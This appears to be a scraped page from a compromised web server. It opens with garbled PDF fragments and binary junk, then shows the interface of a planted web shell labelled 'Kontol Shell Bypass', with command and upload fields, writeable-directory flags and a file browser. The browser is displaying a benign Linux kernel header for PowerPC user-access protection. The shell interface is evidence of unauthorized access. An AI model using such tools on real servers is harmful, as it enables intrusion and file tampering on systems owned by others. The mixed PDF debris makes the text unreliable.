%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/lib/modules/5.4.0-1101-aws/build/arch/powerpc/include/asm/nohash/32/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/lib/modules/5.4.0-1101-aws/build/arch/powerpc/include/asm/nohash/32/kup-8xx.h
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef _ASM_POWERPC_KUP_8XX_H_
#define _ASM_POWERPC_KUP_8XX_H_

#include <asm/bug.h>

#ifdef CONFIG_PPC_KUAP

#ifdef __ASSEMBLY__

.macro kuap_save_and_lock	sp, thread, gpr1, gpr2, gpr3
	lis	\gpr2, MD_APG_KUAP@h	/* only APG0 and APG1 are used */
	mfspr	\gpr1, SPRN_MD_AP
	mtspr	SPRN_MD_AP, \gpr2
	stw	\gpr1, STACK_REGS_KUAP(\sp)
.endm

.macro kuap_restore	sp, current, gpr1, gpr2, gpr3
	lwz	\gpr1, STACK_REGS_KUAP(\sp)
	mtspr	SPRN_MD_AP, \gpr1
.endm

.macro kuap_check	current, gpr
#ifdef CONFIG_PPC_KUAP_DEBUG
	mfspr	\gpr, SPRN_MD_AP
	rlwinm	\gpr, \gpr, 16, 0xffff
999:	twnei	\gpr, MD_APG_KUAP@h
	EMIT_BUG_ENTRY 999b, __FILE__, __LINE__, (BUGFLAG_WARNING | BUGFLAG_ONCE)
#endif
.endm

#else /* !__ASSEMBLY__ */

#include <asm/reg.h>

static inline void allow_user_access(void __user *to, const void __user *from,
				     unsigned long size, unsigned long dir)
{
	mtspr(SPRN_MD_AP, MD_APG_INIT);
}

static inline void prevent_user_access(void __user *to, const void __user *from,
				       unsigned long size, unsigned long dir)
{
	mtspr(SPRN_MD_AP, MD_APG_KUAP);
}

static inline bool
bad_kuap_fault(struct pt_regs *regs, unsigned long address, bool is_write)
{
	return WARN(!((regs->kuap ^ MD_APG_KUAP) & 0xf0000000),
		    "Bug: fault blocked by AP register !");
}

#endif /* !__ASSEMBLY__ */

#endif /* CONFIG_PPC_KUAP */

#endif /* _ASM_POWERPC_KUP_8XX_H_ */

Kontol Shell Bypass